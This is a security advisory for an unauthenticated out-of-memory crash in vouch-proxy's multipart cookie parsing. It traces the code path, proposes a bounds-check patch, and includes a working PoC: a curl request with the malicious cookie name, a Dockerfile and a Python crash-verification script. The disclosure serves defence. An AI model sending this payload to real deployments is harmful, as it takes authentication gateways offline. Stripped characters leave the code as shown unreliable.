GHSA-qqff-5854-px68: High severity go/github.com/vouch/vouch-proxy vulnerability

Unbounded Multipart Cookie Allocation DoS in vouch-proxy

Summary

vouch-proxy v0.47.2 contains an unauthenticated remote denial-of-service vulnerability in its multipart cookie reassembly logic. The /validate endpoint parses the total cookie part count directly from the attacker-controlled cookie name (e.g., VouchCookie1of<N>) and passes it without any bounds check to make([]string, N). A single HTTP request with N=10000000000 causes the Go runtime to attempt a ~160 GB heap allocation, triggering a fatal out-of-memory error that crashes the server process immediately. No authentication or prior session is required.

Details

The vulnerability exists in pkg/cookie/cookie.go. The Cookie() function iterates over all cookies in the request, identifies multipart cookies by the NofM suffix in their name, and initializes the reassembly slice on the first matching cookie:

go // pkg/cookie/cookie.go:123–130 xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1) xyArray := strings.Split(xOFy, "of") if numParts == -1 { if numParts, err = strconv.Atoi(xyArray[1]); err != nil { return "", fmt.Errorf("multipart cookie fail: %s", err) } cookieParts = make([]string, numParts) // sink: unbounded allocation }

The value in xyArray[1] comes directly from the cookie name supplied by the client. There is no maximum value check, no positive-range assertion, and no format validation before strconv.Atoi parses it. The result is used as the length argument to make, so an attacker who supplies VouchCookie1of10000000000 causes the runtime to request approximately 10000000000 × 16 bytes ≈ 160 GB of memory in a single call.

The complete exploit path from network entry to crash:

1. main.go:167 — /validate and /external-auth-:id are registered wrapped in JWTCacheHandler. 2. pkg/jwtmanager/jwtcache.go:54 — JWTCacheHandler calls FindJWT(r) before any authentication check. 3. pkg/jwtmanager/jwtmanager.go:228 — FindJWT calls cookie.Cookie(r). 4. pkg/cookie/cookie.go:109 — r.Cookies() reads the attacker-supplied Cookie: header. 5. pkg/cookie/cookie.go:124 — cookie name suffix is split on "of". 6. pkg/cookie/cookie.go:126 — strconv.Atoi(xyArray[1]) parses the attacker-controlled total. 7. pkg/cookie/cookie.go:130 — sink: make([]string, numParts) attempts a gigantic heap allocation.

Because the code path is exercised before JWT validation, no session token, credentials, or prior authentication are needed.

A suggested remediation is to add a strict upper bound and format validation before the allocation:

diff --- a/pkg/cookie/cookie.go +++ b/pkg/cookie/cookie.go @@ const maxCookieSize = 4000 +const maxCookieParts = 32 @@ - xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1) - xyArray := strings.Split(xOFy, "of") + xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1) + partStr, totalStr, ok := strings.Cut(xOFy, "of") + if !ok || partStr == "" || totalStr == "" { + return "", fmt.Errorf("multipart cookie fail: invalid cookie part name") + } if numParts == -1 { - if numParts, err = strconv.Atoi(xyArray[1]); err != nil { + if numParts, err = strconv.Atoi(totalStr); err != nil { return "", fmt.Errorf("multipart cookie fail: %s", err) } + if numParts < 1 || numParts > maxCookieParts { + return "", fmt.Errorf("multipart cookie fail: invalid part count %d", numParts) + } cookieParts = make([]string, numParts) }

PoC

Environment setup

Build the vulnerable image from source (requires the vouch-proxy repository at the path below):

bash docker build \ -f vuln-001/Dockerfile \ -t vouch-vuln001 \ repo

Start the container (no memory limit is imposed; the Go runtime itself fails the allocation):

bash docker run -d --name vouch-vuln001-poc -p 19090:9090 vouch-vuln001

Wait for the server to respond to a baseline request (expected HTTP 302 or similar):

bash curl -v http://127.0.0.1:19090/validate

Attack request

Send a single unauthenticated HTTP GET with the malicious cookie name:

bash curl -v http://127.0.0.1:19090/validate \ -H 'Host: app.example.com' \ -H 'Cookie: VouchCookie1of10000000000=x'

Alternatively, run the automated PoC script:

bash python3 poc.py --image vouch-vuln001 --port 19090 --parts 10000000000

Expected result

The server process crashes immediately with a Go runtime fatal error. Container logs show:

fatal error: runtime: out of memory

runtime.makeslice(0x0?, 0x0?, 0x0?) /usr/local/go/src/runtime/slice.go:117 github.com/vouch/vouch-proxy/pkg/cookie.Cookie(...) /src/pkg/cookie/cookie.go:130 github.com/vouch/vouch-proxy/pkg/jwtmanager.FindJWT(...) /src/pkg/jwtmanager/jwtmanager.go:228 main.main.JWTCacheHandler.func1(...) /src/pkg/jwtmanager/jwtcache.go:54

The container exits with code 2 (Go runtime fatal). The curl client receives an empty reply. The attack is 100% deterministic and reproducible on every run.

Minimal configuration (no real OAuth provider required):

yaml vouch: logLevel: info listen: 0.0.0.0 port: 9090 domains: - vouch.github.io oauth: provider: indieauth clientid: http://vouch.github.io authurl: https://indielogin.com/auth callbackurl: http://vouch.github.io:9090/auth

Impact

This is an unauthenticated remote denial-of-service vulnerability. Any network-reachable vouch-proxy instance running with a default or standard configuration is affected.

An attacker who can send a single HTTP request to the /validate or /external-auth-:id endpoint can crash the vouch-proxy process immediately. In containerized deployments the container restarts; a persistent attacker can send the request again immediately after restart, keeping the proxy permanently unavailable. Since vouch-proxy is used as an authentication gateway in front of protected applications, its unavailability can result in downstream services becoming inaccessible or, depending on the reverse-proxy fail-open/fail-closed policy, unintentionally exposed.

No authentication, session, or prior account is required. The attack is reliable across all deployment configurations because the default cookie name (VouchCookie) is used and the vulnerable code path is exercised unconditionally on every request to the listed endpoints.

Reproduction artifacts

Dockerfile

dockerfile VULN-001 — Unbounded Multipart Cookie Allocation DoS vouch/vouch-proxy v0.47.2 (commit b683f60) Attack: GET /validate with Cookie: VouchCookie1of<HUGE>=x -> cookie.Cookie() calls strconv.Atoi on the attacker-controlled total -> make([]string, <HUGE>) triggers an immediate OOM fatal in the Go runtime -> Server process crashes; no authentication required Build: docker build -f vuln-001/Dockerfile -t vouch-vuln001 /path/to/repo Run: docker run --rm -p 9090:9090 --name vouch-vuln001 vouch-vuln001

---------- Stage 1: compile vouch-proxy from source ---------- FROM golang:1.26 AS builder

WORKDIR /src COPY . .

Build a statically linked binary; skip do.sh which requires live git tags. Version ldflags are pinned to the affected commit for reproducibility. RUN CGOENABLED=0 GOOS=linux \ go build -v \ -ldflags="-s -w \ -X main.version=b683f60 \ -X main.uname=linux \ -X main.builddt=2024-01-01T00:00:00Z \ -X main.host=vuln-poc \ -X main.semver=v0.47.2 \ -X main.branch=main" \ -o /vouch-proxy .

---------- Stage 2: minimal runtime image ---------- FROM debian:bookworm-slim

RUN apt-get update && \ apt-get install -y --no-install-recommends ca-certificates && \ rm -rf /var/lib/apt/lists/

COPY --from=builder /vouch-proxy /vouch-proxy

Minimal config: allowAllUsers so startup succeeds without real OAuth, default cookie name VouchCookie matches the PoC payload. RUN mkdir -p /config && cat > /config/config.yml << 'EOF' vouch: logLevel: info listen: 0.0.0.0 port: 9090 domains: - vouch.github.io oauth: provider: indieauth clientid: http://vouch.github.io authurl: https://indielogin.com/auth callbackurl: http://vouch.github.io:9090/auth EOF

EXPOSE 9090 ENTRYPOINT ["/vouch-proxy"]

poc.py

python #!/usr/bin/env python3 """ VULN-001 Proof-of-Concept: Unbounded Multipart Cookie Allocation DoS Target: vouch/vouch-proxy v0.47.2 (commit b683f60) File: pkg/cookie/cookie.go:126

Attack summary -------------- The multipart-cookie reassembly routine reads the total part count from the attacker-controlled cookie name (e.g. VouchCookie1of<N>) and calls make([]string, N) with no upper-bound check. The /validate endpoint is reachable without any authentication, so a single HTTP request with N=10000000000 forces the Go runtime to attempt a ~160 GB heap allocation, which immediately triggers runtime: out of memory: cannot allocate ... and crashes the server process (Go fatal, exit 2).

Usage ----- Run from the repo root (or any directory; paths are absolute):

python3 poc.py [--image IMAGE] [--port PORT] [--parts N]

Defaults: IMAGE = vouch-vuln001 PORT = 9090 PARTS = 10000000000 (10 billion -> ~160 GB allocation request) """

import argparse import http.client import json import subprocess import sys import time

────────────────────────────────────────────────────────── Configuration ────────────────────────────────────────────────────────── DEFAULTIMAGE = "vouch-vuln001" DEFAULTPORT = 19090 # host port; container always uses 9090 internally DEFAULTPARTS = 10000000000 # drives make([]string, 10000000000) CONTAINERNAME = "vouch-vuln001-poc" STARTUPTIMEOUTS = 30 # seconds to wait for the server to listen READYPOLLS = 1.0

────────────────────────────────────────────────────────── Helpers ──────────────────────────────────────────────────────────

def run(cmd: list[str], kwargs) -> subprocess.CompletedProcess: """Run a subprocess and return the CompletedProcess.""" print(f"[cmd] {' '.join(cmd)}") return subprocess.run(cmd, kwargs)

def cleanup(name: str) -> None: """Remove an existing container by name, ignoring errors.""" subprocess.run( ["docker", "rm", "-f", name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, )

def waitforserver(host: str, port: int, timeout: float) -> bool: """Poll GET /validate until we get any response (even 401/302) or timeout.""" deadline = time.monotonic() + timeout while time.monotonic() < deadline: try: conn = http.client.HTTPConnection(host, port, timeout=2) conn.request("GET", "/validate") resp = conn.getresponse() # Any HTTP response means the server is up. print(f"[ready] server responded: HTTP {resp.status}") conn.close() return True except OSError: pass time.sleep(READYPOLLS) return False

def containerrunning(name: str) -> bool: """Return True if the named container is still running.""" r = subprocess.run( ["docker", "inspect", "--format", "{{.State.Running}}", name], captureoutput=True, text=True, ) return r.returncode == 0 and r.stdout.strip() == "true"

def containerexitcode(name: str) -> int | None: """Return the exit code of a stopped container, or None if unknown.""" r = subprocess.run( ["docker", "inspect", "--format", "{{.State.ExitCode}}", name], captureoutput=True, text=True, ) if r.returncode == 0: try: return int(r.stdout.strip()) except ValueError: pass return None

def containeroom(name: str) -> bool: """Return True if the container was OOM-killed.""" r = subprocess.run( ["docker", "inspect", "--format", "{{.State.OOMKilled}}", name], captureoutput=True, text=True, ) return r.returncode == 0 and r.stdout.strip() == "true"

def getlogs(name: str) -> str: """Retrieve stdout+stderr from the container.""" r = subprocess.run( ["docker", "logs", name], captureoutput=True, text=True, ) return (r.stdout + r.stderr).strip()

────────────────────────────────────────────────────────── Main ──────────────────────────────────────────────────────────

def main() -> None: parser = argparse.ArgumentParser(description="VULN-001 PoC runner") parser.addargument("--image", default=DEFAULTIMAGE, help="Docker image name") parser.addargument("--port", default=DEFAULTPORT, type=int) parser.addargument("--parts", default=DEFAULTPARTS, type=int, help="N in VouchCookie1ofN (drives allocation size)") args = parser.parseargs()

host = "127.0.0.1" port = args.port image = args.image numparts = args.parts cookieval = f"VouchCookie1of{numparts}"

print("=" 60) print("VULN-001 PoC — Unbounded Multipart Cookie Allocation DoS") print("=" 60) print(f" Image : {image}") print(f" Target : http://{host}:{port}/validate") print(f" Cookie : {cookieval}=x") print(f" Expected allocation: ~{(numparts 16) // (10243)} GB") print()

# 1. Clean up any leftover container. cleanup(CONTAINERNAME)

# 2. Start the vouch-proxy container. # Memory is uncapped at the Docker level; the Go runtime itself will # fail the mmap when the host cannot honor the 160 GB request # (overcommit heuristic or insufficient address space). runcmd = [ "docker", "run", "-d", # no --rm so logs survive after crash "--name", CONTAINERNAME, "-p", f"{port}:9090", # host:container — vouch-proxy always binds :9090 internally image, ] r = run(runcmd, captureoutput=True, text=True) if r.returncode != 0: print(f"[FAIL] docker run failed:\n{r.stderr}") sys.exit(1) containerid = r.stdout.strip() print(f"[info] container started: {containerid[:12]}")

# 3. Wait for the HTTP server to accept connections. print(f"[info] waiting for server on {host}:{port} (up to {STARTUPTIMEOUTS}s) ...") ready = waitforserver(host, port, STARTUPTIMEOUTS) if not ready: logs = getlogs(CONTAINERNAME) print(f"[FAIL] server did not become ready within {STARTUPTIMEOUTS}s.") print("[logs]", logs[-2000:]) cleanup(CONTAINERNAME) sys.exit(1)

# 4. Send the malicious request. print() print("[attack] Sending malicious cookie to /validate ...") requestline = f"GET /validate HTTP/1.1 Cookie: {cookieval}=x" print(f"[attack] {requestline}") print()

try: conn = http.client.HTTPConnection(host, port, timeout=10) conn.request( "GET", "/validate", headers={ "Host": "app.example.com", "Cookie": f"{cookieval}=x", }, ) # The server might crash before sending a response. try: resp = conn.getresponse() body = resp.read(512).decode("utf-8", errors="replace") print(f"[info] got HTTP {resp.status}: {body[:200]}") except Exception as e: print(f"[info] connection broken mid-response (expected): {e}") conn.close() except Exception as e: print(f"[info] request exception (expected if server crashed): {e}")

# 5. Give the container a moment to record its exit state. time.sleep(2)

# 6. Collect evidence. stillrunning = containerrunning(CONTAINERNAME) exitcode = containerexitcode(CONTAINERNAME) oomkilled = containeroom(CONTAINERNAME) logs = getlogs(CONTAINERNAME)

print("─" 60) print("[evidence] Container still running :", stillrunning) print("[evidence] Container exit code :", exitcode) print("[evidence] OOM-killed flag :", oomkilled) print() print("[logs] (last 3000 chars of container stdout+stderr):") print(logs[-3000:] if logs else "(empty)") print("─" 60)

# 7. Verdict # # Evidence of exploitation (any one suffices): # (a) Container exited (not still running) after the malicious request. # (b) Exit code == 2 (Go runtime fatal: out of memory). # (c) OOMKilled == true (kernel OOM killer fired). # (d) Logs contain "out of memory" or "runtime: fatal".

crashed = not stillrunning gopanic = exitcode == 2 oomkill = oomkilled logoom = ( "out of memory" in logs.lower() or "runtime: fatal" in logs.lower() or "cannot allocate" in logs.lower() )

passed = crashed and (gopanic or oomkill or logoom)

print() if passed: print("[PASS] Vulnerability reproduced: server crashed due to unbounded allocation.") # Extract the key OOM line from logs. oomlines = [ ln for ln in logs.splitlines() if any(kw in ln.lower() for kw in ("out of memory", "cannot allocate", "runtime: fatal", "oom")) ] evidence = "\n".join(oomlines[:5]) if oomlines else f"container exited with code {exitcode}" else: print("[FAIL] Could not confirm crash. See logs above for details.") evidence = logs[-500:] if logs else "(no logs)"

print() result = { "passed": passed, "verdict": "PASS" if passed else "FAIL", "reason": ( "단일 비인증 HTTP 요청으로 서버 프로세스를 OOM 충돌시키는 취약점 재현 성공" if passed else "컨테이너 충돌을 확인할 수 없음 — 로그 및 종료 코드 참고" ), "buildcommand": ( "docker build -f vuln-001/Dockerfile " "-t vouch-vuln001 " "repo" ), "runcommand": ( f"docker run --rm -d --name {CONTAINERNAME} " f"-p {port}:9090 {image}" ), "poccommand": ( f"python3 poc.py --image {image} --port {port} --parts {numparts}" ), "evidence": evidence, "artifacts": ["Dockerfile", "poc.py"], }

resultpath = ( "reports/pypiAi450vouchvouch-proxy" "/vuln-001/phase2result.json" ) with open(resultpath, "w") as fh: json.dump(result, fh, indent=2, ensureascii=False) print(f"[saved] {resultpath}")

# 8. Cleanup. cleanup(CONTAINERNAME)

if name == "main": main()